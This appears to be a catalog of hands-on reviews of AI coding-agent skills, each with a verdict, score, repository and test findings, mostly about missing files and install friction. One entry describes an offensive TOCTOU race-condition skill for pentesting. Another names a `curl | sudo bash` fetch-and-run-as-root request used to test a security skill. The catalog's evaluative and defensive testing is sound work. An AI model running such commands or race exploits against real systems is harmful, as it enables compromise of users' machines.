- **Understand: Diff** [setup, 8/10] — Analyzes a git diff or PR to summarize changes, affected components, and risks. Repo: https://github.com/Egonex-AI/Understand-Anything. Card: https://skillproof.dev/skills/understand-diff. What we found: Re-tested against upstream HEAD (2026-07-17), which added a graph-freshness gate before impact analysis. Re-ran the A/B on a fixture repo with an uncommitted session change and a graph pinned to an older commit: both arms produced equivalent changed/affected/layer/risk reports on the small graph, but the skill arm now catches something the baseline never surfaces -- executing its verbatim freshness commands revealed the graph predated a login() MFA change, preventing a silently wrong blast-radius call, and it wrote the documented diff-overlay.json dashboard artifact. That moves output from no-difference to a small demonstrated edge (5 to 6). The verdict stays setup because the skill is still inert without a knowledge graph from the sibling /understand skill, which this install command does not provide; SKILL.md discloses this upfront. Stage 0 clean -- the added bash is read-only git inspection.
- **Demand-First Review** [pass, 8/10] — Flags speculative or unused new API surface before reviewing implementation quality. Repo: https://github.com/CherryHQ/cherry-studio. Card: https://skillproof.dev/skills/demand-first-review. What we found: Verbatim install (git clone + cp) worked with zero rescue: one valid SKILL.md, strict-YAML frontmatter, no referenced files, no API keys or external services. On an A/B review of a synthetic PR (new export + IPC channel + config flag, all with zero consumers) both arms independently caught the load-bearing finding — the new snapshot function exfiltrates internal-only flags across a documented security boundary — and reached identical remove/remove/defer decisions. The skill arm added its signature demand-normalization (all three surfaces express one premature future demand → consolidate) and an explicit step-7 gate that withholds implementation-quality review until surfaces survive; a modest prioritization edge over an already-strong baseline rather than a transformative one.
- **KubeSphere DevOps: Credentials** [pass, 8/10] — Manages repository, kubeconfig, and API token credentials in KubeSphere DevOps. Repo: https://github.com/kubesphere/kubesphere. Card: https://skillproof.dev/skills/kubesphere-devops-credentials. What we found: Verbatim install works (clone kubesphere monorepo + copy skills/kubesphere-devops-credentials/); the single SKILL.md parses under strict YAML and fires accurately on DevOps-credential prompts. Two doc gaps: the real workflow needs a live KubeSphere cluster with DevOps/Jenkins plus a bearer token, which the skill never states, and its only reference link is an unreachable internal absolute path (/root/go/src/.../kse-extensions/devops/README.md). A/B on a Secret+GitRepository manifest task was decisive: the skill emitted the correct KubeSphere conventions (type: credential.devops.kubesphere.io/basic-auth, label devops.kubesphere.io/credential, spec.secret.{name,namespace}) while the base used type: kubernetes.io/basic-auth and spec.secretRef.name, which the DevOps controller silently ignores.
- **Neo4j Agent Memory Skill** [setup, 8/10] — Reference for the neo4j-agent-memory Python package: three-layer graph memory (short-term/long-term/reasoning) for AI agents. Repo: https://github.com/neo4j-contrib/neo4j-skills. Card: https://skillproof.dev/skills/neo4j-agent-memory-skill. What we found: Reproduced the package's exact async MemoryClient quickstart verbatim for a niche, likely post-cutoff API that a baseline attempt would otherwise have to guess at -- but the SKILL.md's 'combine with excalidraw / neo4j-styleguide / neo4j-labs-brand / diataxis' cross-references are all dead, none of those skills exist in this repo.
- **Running an Iteration** [setup, 8/10] — Orchestrates one TDD iteration end-to-end: regression baseline, task decomposition, evidence tracking, wrap-up. Repo: https://github.com/prime-radiant-inc/iterative-development. Card: https://skillproof.dev/skills/running-an-iteration. What we found: Copying just the running-an-iteration/ folder is not enough: its own SKILL.md points at skills/shared/parallel-adversarial-review.md and dispatches to a sibling implementing-tasks skill that live outside the folder, so it's inert until the whole plugin tree (and a pre-built docs/superpowers/iterations/ roadmap scaffold) is vendored alongside it.
- **Dev Lifecycle** [setup, 8/10] — SDLC phase router for the ai-devkit CLI — requirements through review, gated by a live lint/skill-list check. Repo: https://github.com/codeaholicguy/ai-devkit. Card: https://skillproof.dev/skills/dev-lifecycle. What we found: It's a router, not a doer: real behavior depends on ~10 sibling phase skills plus a live `npx ai-devkit` install and doc-scaffolding step; the CLI is a real, actively-published npm package (confirmed up to v0.47.0) but sandbox policy blocked executing it here, so the lint/phase-detection loop it claims could not be run end to end.
- **Oma Debug** [setup, 8/10] — Root-cause debugging that enforces a red-then-green regression test on every fix. Repo: https://github.com/first-fluke/oh-my-agent. Card: https://skillproof.dev/skills/oma-debug. What we found: Fixed a real ZeroDivisionError in a Python helper: the skill's checklist forced verifying the regression test actually failed pre-fix (confirmed) before accepting it, and made me grep for the same unguarded-division pattern elsewhere — rigor a normal ad hoc fix skipped. But most of its resource links (`../_shared/core/*`, `../oma-observability/SKILL.md`, an assumed Serena MCP) reach outside the oma-debug folder into its parent oh-my-agent framework, so copying just this one skill folder leaves several references dangling.
- **Trace MCP** [setup, 8/10] — Routes code exploration to a code-graph MCP server instead of grep/read. Repo: https://github.com/nikolai-vysotskyi/trace-mcp. Card: https://skillproof.dev/skills/trace-mcp. What we found: Well-designed decision matrix (20+ tools mapped to tasks), but it's a pure routing skill for a separate trace-mcp MCP server — with that server not connected, Claude just falls back to grep anyway, which is exactly what happened in this test on a small repo.
- **Cloning Websites To Weaverse** [setup, 8/10] — Clones a reference site into Hydrogen+Weaverse sections behind a mandatory approval checkpoint. Repo: https://github.com/Weaverse/shopify-hydrogen-skills. Card: https://skillproof.dev/skills/cloning-websites-to-weaverse. What we found: The 15-point mismatch table (video-to-image downgrades, slider-mapped-to-grid, side-by-side vs overlay) is the actual value here — it's a checklist for the exact ways ad hoc cloning goes wrong — but the skill is inert without a live Hydrogen+Weaverse repo already containing .guides/brand-guideline.md, sections.md, and app/weaverse/components.ts, plus a working Firecrawl connection, none of which ship with the skill itself.
- **Bump Dependencies** [setup, 8/10] — Taze-powered dependency bumps: structured plan, batch major decisions, never silent. Repo: https://github.com/PaulRBerg/agent-skills. Card: https://skillproof.dev/skills/bump-deps. What we found: Actually ran the plan-then-write pipeline on a real package.json: correctly flagged an eslint major as review-only and applied the lodash minor while leaving a pinned dependency untouched — but the plan step silently requires `uv` on top of `taze`, undocumented anywhere in the skill, and dies with a bare 'command not found' if it's missing.
- **Shipyard Codex Orchestration** [setup, 8/10] — Routes Shipyard's parallel-agent build/audit/ship workflows to sequential personas under Codex. Repo: https://github.com/lgbarn/shipyard. Card: https://skillproof.dev/skills/shipyard-codex-orchestration. What we found: This SKILL.md is a bare router: its own folder holds only the file itself, and both scripts/state-read.sh and every skill it routes to (shipyard-executing-plans, security-audit, shipyard-writing-plans...) live entirely outside codex/skills-extra/ — copying just this one folder leaves every reference dangling; the README itself says the real install path is `claude plugin install shipyard@shipyard`, not cherry-picking a single skill.
- **Develop Team** [pass, 8/10] — Autonomous multi-agent pipeline: research, plan, implement, test, and open a PR for a whole ticket with zero checkpoints. Repo: https://github.com/EricTechPro/startup-claude-skills. Card: https://skillproof.dev/skills/develop-team. What we found: Miscategorized as 'sales' in the source list — it's a coding-pipeline orchestrator (research agents, phased implementation, PR creation). Its Prerequisites list `/refactor` as an optional companion skill, but no such skill exists anywhere in this repo (only review-fix and review-team do) — it degrades gracefully when missing, but the doc implies a companion that was never shipped.
- **Plan Create** [setup, 8/10] — Turns a feature request into a TDD task-and-dependency plan for autonomous parallel execution. Repo: https://github.com/markshust/hcf. Card: https://skillproof.dev/skills/plan-create. What we found: Ran a real feature request through it end-to-end: it produced a proper _plan.md (scope in/out, success criteria, task table) plus a numbered task file with atomic test-description requirements, versus a baseline that just started coding off a flat 5-bullet list. Real friction though: it's built as a Claude Code plugin, not a standalone skill — a bare cp -r of skills/plan-create alone leaves dangling references (a code-standards.md the body cites doesn't exist anywhere in the repo, and its hook-discovery mechanism needs the plugin's agents/ dir two levels up from SKILL.md, which a lone skill copy won't have).
- **Agent Rules (AGENTS.md Generator)** [setup, 8/10] — Detects your stack and generates root + per-directory AGENTS.md files with a bundled verification pipeline. Repo: https://github.com/netresearch/agent-rules-skill. Card: https://skillproof.dev/skills/agent-rules. What we found: Actually ran the bundled generator against a real Astro/TypeScript project: it produced a structured root plus scoped AGENTS.md pulling real npm scripts from package.json, but it also recommended `npx eslint`/`npx prettier`/`npx tsc` commands the project has no dependency on, and the 'MANDATORY' verify-commands.sh step silently found nothing to check because its regex only matches backtick-wrapped commands, not the plain-table format the generator itself outputs.
- **Council Implement** [setup, 8/10] — Executes a Carmack Council plan task-by-task, loading each expert's reference doc first. Repo: https://github.com/SamJHudson01/Carmack-Council. Card: https://skillproof.dev/skills/council-implement. What we found: The naive 'cp -r skills/council-implement' install silently breaks: all six reference docs the workflow requires (security.md, quality-backend.md, etc.) actually live in a shared references/ folder at the repo root, not inside the skill directory, and raw-fetching them at the SKILL.md-relative path 404s. The repo's own README confirms this and ships prebuilt dist/*.skill bundles specifically to work around it.
- **ChatCrystal Debug Recall** [setup, 8/10] — Pulls historical debugging fixes from ChatCrystal's memory before you diagnose a new failure. Repo: https://github.com/ZengLiangYi/ChatCrystal. Card: https://skillproof.dev/skills/chatcrystal-debug-recall. What we found: Real dependency, honestly disclosed: with no ChatCrystal Core/MCP server running (the normal state for a fresh install), the skill correctly refuses to invent a 'we've seen this before' answer and just adds one disclaimer line to an otherwise identical diagnosis — real recall value only appears after separately installing and running the companion ChatCrystal Core app (`npm install -g chatcrystal && crystal serve -d`).
- **Hyper-Waterfall** [setup, 8/10] — Thin Claude Code entrypoint into the Hyper-Waterfall task-governance framework and CLI. Repo: https://github.com/postmelee/hyper-waterfall. Card: https://skillproof.dev/skills/hyper-waterfall. What we found: Ran the real `npx hyper-waterfall@0.2.0 doctor` and `init` commands against a fresh throwaway git repo -- both produced accurate, genuinely non-destructive dry-run reports (verified zero files were written) matching the skill's mandated report format almost field-for-field, but the installed skill folder itself is just SKILL.md: it omits docs/agent-entrypoint.md and templates/manifest.json, the two files its own body tells Claude to read first.
- **Bump SDK Version** [setup, 8/10] — Bumps the FutureSearch SDK version across all 11 config/lockfile locations in one pass Repo: https://github.com/futuresearch/futuresearch-python. Card: https://skillproof.dev/skills/bump-sdk-version. What we found: Live-bumped the version string in a throwaway clone of the real repo: a naive one-file bump leaves 14 stale version references across 10 files, while following the skill's 11-file checklist zeroed them all out — but the uv-all.sh sync script it instructs you to run from the repo root does not exist anywhere in this public mirror.
- **Vue Development** [pass, 8/10] — Enforces Vue 3.4+ TypeScript patterns: defineModel, typed emits, Testing Library over test-utils. Repo: https://github.com/alexanderop/claude-skill-vue-development. Card: https://skillproof.dev/skills/vue-development. What we found: Built the same UserAvatar component twice: unguided it came out as a clickable non-semantic div with no alt text or error handling and a manual fetch mock in the test; skill-guided it became an accessible button with alt text, try/catch error state, defineModel, and an MSW-backed Testing Library test - a real, visible gap. But the README cites SKILL-CREATION-SUMMARY.md, FINAL-STATUS.md, OPTIMIZATION-SUMMARY.md and a test-scenarios/ folder as evidence for its '100% compliance / PRODUCTION-READY' claim, and none of those files exist in the cloned repo.
- **Deepagents** [pass, 8/10] — Scraped LangChain Deep Agents docs for backends, subagents, and human-in-the-loop config. Repo: https://github.com/joneqian/claude-skills-suite. Card: https://skillproof.dev/skills/deepagents. What we found: Correctly gave the real write()/edit() -> WriteResult/EditResult policy-hook API where a from-memory baseline invented a plausible-but-wrong write_file() method, but the SKILL.md body is padded with two full raw webpage scrapes (nav chrome, 'Search...⌘K' cruft included) and the suite's README oversells it as a '自研' (self-authored) skill when the file itself admits it was scraper-generated.
- **Multi-Model Adversarial Review** [setup, 8/10] — Runs claude/codex/gemini as independent reviewers, has them cross-critique, then synthesizes one deduped report Repo: https://github.com/prime-radiant-inc/parallel-adversarial-review. Card: https://skillproof.dev/skills/multi-model-adversarial-review. What we found: The SKILL.md body calls ${CLAUDE_PLUGIN_ROOT}/scripts/mmar.py, a 645-line driver that lives at the repo root, not inside the skill folder -- a bare copy 404s in real GitHub raw fetches and errors 'No such file or directory' when actually run; but running the real driver in the project's own mock mode against its bundled fixtures worked perfectly (4/4 eval fixtures passed, and it correctly caught and dropped a fabricated Gemini finding that two other reviewers flagged as fiction) -- so the mechanism itself is genuinely good, it just needs the whole repo/plugin, not the skill subfolder alone.
- **Analyzing Codebases** [setup, 8/10] — Runs real static-analysis tooling and ranks refactor hotspots by churn x complexity. Repo: https://github.com/wayne930242/Reflexive-Claude-Code. Card: https://skillproof.dev/skills/analyzing-codebases. What we found: Ran the real toolchain on a throwaway TS repo: jscpd correctly caught an exact-clone duplication cluster and git-churn math correctly ranked the touched-and-duplicated file above its untouched twin (score 96 vs 16, both cognitive complexity 16). But the reference doc's literal commands for dependency-cruiser and eslint-plugin-sonarjs both failed out of the box (needed --no-config plus --include-only, and a manually added @typescript-eslint/parser) — friction not mentioned anywhere in the skill.
- **GitHub Actions Writer** [pass, 8/10] — Generates GitHub Actions CI/CD YAML with security and performance best practices baked in. Repo: https://github.com/JamesPrial/github-skills. Card: https://skillproof.dev/skills/github-actions-writer. What we found: Both bundled scripts (security_audit.py, validate_workflow.py) print real, correct findings but then always report '✅ passed'/'✅ valid' regardless — confirmed against a workflow with permissions: write-all plus an unpinned checkout@main action, and even against the skill's own recommended template (false 'Missing on field' due to the classic PyYAML on/off boolean-key bug). The generated workflow YAML itself, however, is a real concrete upgrade over a naive baseline (explicit least-privilege permissions, concurrency cancel-in-progress, job timeout, npm ci instead of npm install).
- **Architecture Audit** [setup, 8/10] — Audits a codebase for shallow/coupled modules and writes a deep-module refactor PRD. Repo: https://github.com/helderberto/agent-skills. Card: https://skillproof.dev/skills/architecture-audit. What we found: SKILL.md leans on a sibling skill folder ('../codebase-design/SKILL.md' and its DEEPENING.md) for its core vocabulary and dependency-category logic -- copy just architecture-audit/ per the standard single-directory install and those links 404 locally. Ran a real audit against a 4-file throwaway app with a textbook pass-through service; the skill-guided run produced a genuinely more actionable deliverable than an unaided baseline -- a full improvement-template.md PRD (problem/interface/dependency-strategy/migration/risks) vs. the baseline's two throwaway sentences.
- **Build iOS Apps** [setup, 8/10] — Cloud build/sign/publish pipeline for Swift apps via a proprietary signing service, no local Xcode needed. Repo: https://github.com/hungv47/meta-skills. Card: https://skillproof.dev/skills/build-ios-apps. What we found: The entire pipeline is a closed-source, x86_64-only Mach-O binary (`ios-cli`, Bun-compiled) that talks to a proprietary Chorus/Vibecode signing service you must have paid Apple Developer Program ($99/yr) enrollment and a Vibecode API key for; the binary produced zero output when invoked in our sandbox (arm64 host, Rosetta present) even for `--help`, so the live build/sign/install flow could not be verified end-to-end and had to be graded on the SKILL.md text alone.
- **AI Session Tools** [setup, 8/10] — CLI to search, recover, and analyze Claude Code / AI Studio / Gemini CLI session history. Repo: https://github.com/ahundt/autorun. Card: https://skillproof.dev/skills/ai-session-tools. What we found: Installed the real PyPI package and it crashed immediately with ModuleNotFoundError: No module named 'click' (a missing dependency in the package's own metadata); after manually adding click, aise files search --pattern SKILL.md against real local session history returned 4 precisely-tracked files with edit counts and session IDs, versus 106 noisy full-text hits from a manual grep baseline — genuinely useful once the broken install is patched by hand.
- **Workbench Agent Install Unifier** [setup, 8/10] — Safety contract for syncing skills/MCPs/AGENTS.md across coding-agent CLIs via agent-install. Repo: https://github.com/Fearvox/multica-ultimate-workbench. Card: https://skillproof.dev/skills/workbench-agent-install-unifier. What we found: The safety logic that matters most (deny stdio MCP for non-local/cloud agents, hard-BLOCK if Playwright MCP leaks into a cloud-safe profile) lives in docs/agent-install-unifier-lane.md outside the skill folder, not in SKILL.md itself, so a verbatim copy silently ships a thinner, less-safe version of the gate; also assumes the separate, unbundled `agent-install` CLI (millionco/agent-install) is already installed.
- **Agent Development** [pass, 8/10] — Reference guide for writing Claude Code subagent .md files: frontmatter, triggering examples, system prompts. Repo: https://github.com/troykelly/claude-skills. Card: https://skillproof.dev/skills/agent-development. What we found: The written guidance produces a genuinely well-structured agent file (multi-line description with <example>/<commentary> blocks, second-person system prompt, least-privilege tools) versus a naive hand-written baseline missing all of that - but the one bundled tool, validate-agent.sh, chokes on that exact recommended multi-line-description format (single-line grep extraction) and exits early on its own set -e + ((warning_count++)) bug, and the second promised script, scripts/test-agent-trigger.sh, isn't in the repo at all.
- **ControlFlow Executability Verifier** [setup, 8/10] — Simulates a saved plan's first tasks cold-start to catch vague phases before coding starts. Repo: https://github.com/Smithbox-ai/ControlFlow. Card: https://skillproof.dev/skills/controlflow-executability-verifier. What we found: Ran a vague 3-phase 'add rate limiting' plan through it: it correctly stopped at Phase 1 (no framework/target file named) and refused to guess, producing a structured FAIL verdict a freeform review didn't match in rigor -- but step 6's save path points at ../../templates/executability-verifier-report-template.md, a file that does not exist anywhere in the source repo.
- **Compiling Architecture** [setup, 8/10] — Turns a constraints/NFR spec into a deterministic, cost-audited architecture pattern selection. Repo: https://github.com/inetgas/arch-compiler. Card: https://skillproof.dev/skills/compiling-architecture. What we found: Real friction, confirmed live: copying only skills/compiling-architecture/ (the standard install) leaves the skill referencing tools/archcompiler.py, schemas/, config/, patterns/ that don't exist anywhere under it -- `ls ~/.codex/arch-compiler/tools/archcompiler.py` and the ~/.claude/arch-compiler equivalent both 404. Cloning the FULL repo to a stable path and running the compiler for real against the bundled fixture worked perfectly: deterministic exit-0 YAML output matching the schema, patterns selected as documented.
- **Code Reader v2 (English)** [pass, 8/10] — WHY-first code analysis with rejected alternatives and boundary conditions Repo: https://github.com/notlate-cn/code-reader-skills. Card: https://skillproof.dev/skills/code-reader-v2-en. What we found: Analyzed a real file — the 8-regex redactor in Prompt Sensei's lib/redact.ts — cold and then in Standard mode, and verified every claim by running the code. My cold summary listed the patterns and said they were applied in sequence; it never flagged that the sequence is load-bearing. The skill's mandatory "why not other approaches" and "inapplicable scenarios" sections produced two findings I then confirmed by execution: moving the 40-plus-character [SECRET] catch-all to the front of the array made a JWT leak its header and payload in plaintext (eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0. survived, only the signature got masked) instead of being fully replaced by [TOKEN], and that same catch-all false-positives on a 40-hex git SHA and a long node_modules cache filename. The cost is real bloat: a 722-line, 28KB SKILL.md of templates for what is often a one-file question. Docs also over-reach — the durations are aspirational, "code review" is listed as a trigger for what is an understanding tool rather than a bug finder, and the bundled .skill zip is an undocumented duplicate of the same content.
- **Torvalds Doctrine** [pass, 8/10] — Linus-style code-review doctrine: data-structure-first, kill over-engineering, demand proof Repo: https://github.com/leopiney/linus-torvalds-skills. Card: https://skillproof.dev/skills/torvalds-doctrine. What we found: Reviewed a deliberately over-engineered 22-line snippet both ways: the doctrine's pass led with a concrete data-structure fix (replace the size elif-chain with a threshold table), demanded a benchmark for the unproven '2x faster' comment, and named the unreachable else + redundant n>=1000 branch as special-case insanity, where the no-skill baseline flagged the same issues but only as a vague 'could simplify'. A modest but real gain in actionability; it is a guideline prompt, not an enforcer.
- **Golang Fullstack Best Practices** [pass, 8/10] — Rule-backed Go + GORM + PostgreSQL code review across 9 domains, 89 rules Repo: https://github.com/saifoelloh/golang-best-practices-skill. Card: https://skillproof.dev/skills/golang-fullstack-best-practices. What we found: Reviewed a planted 70-line GORM repo with both the skill and a no-skill baseline: both caught the N+1 loop, the fmt.Sprintf SQL injection, the goroutine loop-variable capture and the defer-in-loop, but only the rule-backed pass added CRITICAL/HIGH severity tags, rule IDs, canonical Preload/parameterized fixes, and reliably flagged the missing %w error wrap. The 89 rule files and rules/ dirs it claims all exist and are concrete, not filler.
- **Analysis Pipeline (Greenfield)** [pass, 8/10] — Reverse-engineer code into clean-room behavioral specs with provenance Repo: https://github.com/prime-radiant-inc/greenfield. Card: https://skillproof.dev/skills/analysis-pipeline. What we found: Ran the methodology on a real function (a tool-output classifier from the memvid SDK) against a no-skill baseline. The baseline narrated implementation - it named the function, said it 'lowercases' and 'switches' - while the skill-guided spec stripped those source identifiers, made the load-bearing 'content signal beats originating tool' precedence rule explicit, added source/confidence provenance annotations, and produced Given/When/Then test vectors including the override edge case the baseline buried. For clean-room reimplementation that is a concrete, defensible improvement. Caveat: the skill-dir copy is methodology text only; the /analyze and /sanitize commands and 20+ sub-skills that run the full gated pipeline live elsewhere in the plugin, so end-to-end orchestration was not exercised.
- **Offensive TOCTOU (defensive testing)** [setup, 7.6/10] — Exploits time-of-check/time-of-use race conditions across binaries, kernels, and web apps. Repo: https://github.com/SnailSploit/Claude-Red. Card: https://skillproof.dev/skills/offensive-toctou. What we found: Authorized-pentest/CTF education skill: a single SKILL.md that primes Claude with TOCTOU race-condition methodology (symlink/fd races, /proc, container escapes, web auth-vs-authz and payment races, window-widening) plus the correct defensive rule 'operate on the kernel object, not the path.' Tested defensively and locally only: on a planted local vuln_writer.py (localhost/local-file, non-destructive symlink-swap PoC, no weaponized exploit), it correctly diagnosed the os.access()-then-open() race and gave a correct fd-based O_NOFOLLOW fix. A/B: the no-skill base arm found the same race, wrote an equivalent local PoC, and produced a fix that was actually marginally more thorough (O_NOFOLLOW plus fstat ownership/type validation on the fd), so the skill added no measurable output lift on this task.
- **Codex Collab** [setup, 7.6/10] — JSON-RPC bridge that lets Claude Code delegate tasks and PR reviews to Codex and read the results back. Repo: https://github.com/Kevin7Qi/codex-collab. Card: https://skillproof.dev/skills/codex-collab. What we found: Since our 13.07 test, the author released 0.3.0 with self-update and skill synchronization — this is precisely the type of change that could overturn the verdict, so Stage 0 was re-examined: api.github.com is polled daily for the latest release (only User-Agent is sent, no tokens or secrets), disabled via CODEX_COLLAB_NO_UPDATE_CHECK=1, nothing is applied automatically. We checked manually, not by text: added a junk line to the installed SKILL.md, a bare `codex-collab skill sync` printed a diff, exited with an error, and DID NOT touch the file; it applied only with `--yes`; SKILL.md itself explicitly forbids the agent from passing `--yes` on its own initiative. The only caveat is that `update --yes` pulls the release tarball from github.com and runs its install.sh without checksum verification, but only after explicit consent. Unlike last time, Bun was present, and install.sh worked properly: it built a 0.31 MB bundle + broker, unpacked it into ~/.claude/skills/codex-collab, installed a shim, and without codex on PATH, it honestly fails with a clear list of prerequisites. End-to-end A/B was not done: there is no working authorized codex CLI on the machine (alias points to a non-existent binary), so we did not see real Codex runs — this is an output assessment, not a guess. Trigger was lowered 5 -> 4 based on our re-reading (upstream did not change the description): 'use PROACTIVELY... second opinions on code' catches the usual 'look at my PR' where Codex was not called.
- **Flow-Next Impl Review** [setup, 7.6/10] — Cross-model adversarial PR review via Codex/Copilot/Cursor/RepoPrompt inside flow-next. Repo: https://github.com/gmickel/flow-next. Card: https://skillproof.dev/skills/flow-next-impl-review. What we found: This is not a drop-in skill: the SKILL.md points to `$HOME/.codex/scripts/flowctl` or `.flow/bin/flowctl`, and that binary 404s at the plugin's own skill-directory path - it only exists after the full flow-next plugin install (marketplace add + /plugin install, which also wires 21 agents and hooks). A plain git-clone-and-copy of just this skill folder produces a skill that cannot run its own Phase 0.
- **Dev Browser** [setup, 7.6/10] — Playwright-backed browser automation with a persistent page server, but its own scripts live outside this repo. Repo: https://github.com/code-yeongyu/oh-my-openagent. Card: https://skillproof.dev/skills/dev-browser. What we found: SKILL.md instructs you to run ./server.sh and import @/client.js, but neither exists anywhere in this repo path — the runtime is pulled in at build time from a private npm package (@oh-my-opencode/skills-loader-core), and the skill's own references/installation.md admits the real source is github.com/sawyerhood/dev-browser.
- **Sync Desktop Skills** [setup, 7.6/10] — Syncs and PII-scrubs skills from a private canonical repo into a public one -- author-only. Repo: https://github.com/ShawhinT/non-coding-skills. Card: https://skillproof.dev/skills/sync-desktop-skills. What we found: Running the bundled scrub.py for real confirms the tooling itself works (verify: clean, report-pii surfaced 500+ candidate names) -- but the actual sync hard-fails with 'source not found: ~/agents/skills', a private repo that exists only on the author's machine, so the skill's core function is unusable by anyone but Shaw.
- **GPIO Config** [setup, 7.6/10] — GPIO pin assignment, conflict validation, and init code for Pi and ESP32. Repo: https://github.com/claudius-ars/embedded-agent-skills. Card: https://skillproof.dev/skills/gpio-config. What we found: Real, working pin-safety logic — validate_pinmap.py correctly caught a GPIO2 strapping-pin hazard on an ESP32 status LED that a naive baseline answer would have missed. But the script crashes on the exact JSON the docs teach: SKILL.md's own schema and worked Section-8 example pass protocol_bus as an integer (0, 1), while the code calls protocol_bus.lower() expecting a string like "i2c" — AttributeError: 'int' object has no attribute 'lower'. Fix is to pass protocol_bus as a lowercase protocol name string, undocumented.
- **ACOS Meta** [setup, 7.6/10] — Documents Frank's personal ACOS system — not a generic Claude Code skill-authoring guide. Repo: https://github.com/frankxai/claude-skills-library. Card: https://skillproof.dev/skills/acos-meta. What we found: Reads as a private wiki page about the author's own ACOS project rather than a portable skill: it cites live paths like ~/agentic-creator-os/ and ~/frankx/.claude/skills/frankx-meta/ that ship in separate, uncloned repos, and its own bundled reference file admits the hook system (.claude-flow/audit.jsonl, hooks/ dir) it instructs you to debug is largely unshipped/aspirational.
- **Hive Workers** [setup, 7.6/10] — 8-phase feature/epic execution checklist wrapped around an external ruflo swarm MCP. Repo: https://github.com/smith-horn/product-builder-starter. Card: https://skillproof.dev/skills/hive-workers. What we found: Core 'hive mind' parallel-agent orchestration is a hard dependency on an unbundled MCP server (ruflo, via 'npx ruflo@v3alpha mcp start') that must be configured separately, and the SKILL.md's own 'Related Skills' links point to sibling skill folders (governance, worktree-manager) that a single-skill copy will not bring along; what's left after those two gaps is a generic (but genuinely useful) TodoWrite + code-review + governance-checklist process.
- **Binary RE Dynamic Analysis** [setup, 7.6/10] — QEMU/GDB/Frida runbook for tracing and hooking a binary's actual runtime behavior. Repo: https://github.com/2389-research/binary-re. Card: https://skillproof.dev/skills/binary-re-dynamic-analysis. What we found: Genuinely tried to run its own playbook against a throwaway local ELF/Mach-O target: `brew install qemu` on macOS gives only qemu-system-*, not qemu-user (qemu-arm/qemu-aarch64), exactly matching the skill's own platform table that macOS needs Docker instead — but Docker/Colima wasn't available either. Installed frida-tools and copied its Frida hook example almost verbatim; the exact documented flag `--no-pause` no longer exists on current frida-tools (17.15.5, errors 'unrecognized arguments'), and after adapting the command, both spawn and attach modes hung with no output, consistent with process-injection being blocked in this sandbox. Real, disclosed tooling requirements, not hidden ones, but actually executing any of the five documented options needs infrastructure this environment didn't have.
- **Conclave** [setup, 7.6/10] — Runs Claude, Gemini and GPT in parallel and synthesizes a debated consensus answer. Repo: https://github.com/tommasinigiovanni/conclave. Card: https://skillproof.dev/skills/conclave. What we found: Ran it live with no provider keys configured: `doctor` and a real `--depth quick` call both degraded exactly as documented (Gemini/GPT report clean auth errors, Claude's local slot stays fillable) — the JSON contract in SKILL.md matches the actual script output field-for-field.
- **Create Rule** [pass, 7.6/10] — Scaffolds Cursor .mdc rule files in .cursor/rules/ with correct frontmatter and scope. Repo: https://github.com/coco-research/coco. Card: https://skillproof.dev/skills/create-rule. What we found: Ran a real baseline-vs-skill comparison for a Zod-validation rule request: unguided output defaulted to a legacy freeform `.cursorrules`-style file, the skill correctly produced a proper `.cursor/rules/zod-api-validation.mdc` with frontmatter. But the doc itself contradicts its own line-count guidance ('Under 50 lines' vs the checklist's 'under 500 lines') and the trigger description advertises RULE.md/AGENTS.md support the body never actually covers.
- **Konnect** [setup, 7.6/10] — Routes all KiCAD schematic/PCB edits through the Konnect MCP server instead of raw text edits Repo: https://github.com/mixelpixx/Konnect. Card: https://skillproof.dev/skills/konnect. What we found: Pure markdown operating-rules skill (no bundled scripts) that correctly refuses direct edits to .kicad_sch/.kicad_pcb files and redirects to MCP tools - but it only does anything real if the separate Konnect MCP server is installed and running, meaning a full KiCAD 10 install plus a standalone Rust plugin (AGPL-3.0, commercial license required for business use) - real setup friction beyond copying the skill folder. Also caught the skill's own tool count (177 tools/17 toolsets) contradicting the repo's canonical, source-generated tool-directory.md (185 tools/18 toolsets).
- **Vibe Fork** [setup, 7.6/10] — 4-agent harness for translating a codebase to a new language/substrate line by line. Repo: https://github.com/dollspace-gay/vibe-fork. Card: https://skillproof.dev/skills/vibe-fork. What we found: Ran bootstrap.sh in a throwaway git repo and it crashed at step 5/6 (`cp: templates/.claude/settings.json: No such file or directory`) — that template file doesn't exist anywhere in the repo, so the two enforcement hooks are copied into tooling/ but never actually registered in .claude/settings.json, meaning the skill's headline mechanism ships inert until the user hand-writes the hook registration themselves.
- **Make Trace** [setup, 7.6/10] — Lift any runbook, SKILL.md or chat log into a runnable Flowtrace DAG and drive the full run lifecycle Repo: https://github.com/AIScientists-Dev/Flowtrace. Card: https://skillproof.dev/skills/make-trace. What we found: The skill files install cleanly, but every command it teaches (init, validate, run, reply, serve) depends on a flowtrace binary that must be built from source with Rust + Node - and the build fails outright without a cargo toolchain (scripts/install.sh aborted at 'cargo: command not found'). Because the binary could not be built in this environment, the actual deliverable - a runnable trace - was unmeasured, so no output delta over baseline could be shown. The SKILL.md itself is unusually thorough and honest about this multi-minute build cost.
- **Espalier Init** [setup, 7.6/10] — Discover a codebase's conventions and scaffold rules, skills, wiki and CI gates for AI coders Repo: https://github.com/Junhanliu-dev/espalier-engineering. Card: https://skillproof.dev/skills/espalier-init. What we found: Ran the bundled bootstrap-espalier.sh against a throwaway git repo: it correctly scaffolds the espalier/ tree, .claude symlinks, hooks and a 46-check validation harness, but 20 checks fail by design because the substantive rules/skills/wiki files are written by a separate multi-phase agent flow (scouts + AskUserQuestion) that a lone install can't run. The single-skill copy this catalog ships also omits scripts/bootstrap-espalier.sh (it lives at repo root, not in the skill dir), so Phase 3 has nothing to call unless you install the whole plugin. Legitimate and well-engineered, but no clean output delta over a baseline was demonstrable without the full plugin and agent run.
- **Security Awareness (Sage)** [setup, 7.6/10] — Security checklist for safe commands, URLs, secrets and supply chain Repo: https://github.com/gendigitalinc/sage. Card: https://skillproof.dev/skills/security-awareness. What we found: Installed as a bare skill and pressure-tested it against a `curl | sudo bash` install request: its guidance matched what a security-conscious assistant already does by default, so it adds a tidy checklist but no measurable edge. The real-time protection that gives Sage teeth (package scanning, prompt-injection detection, session-start plugin scans) lives in the plugin's hooks and MCP server, which a standalone skill copy does not install.
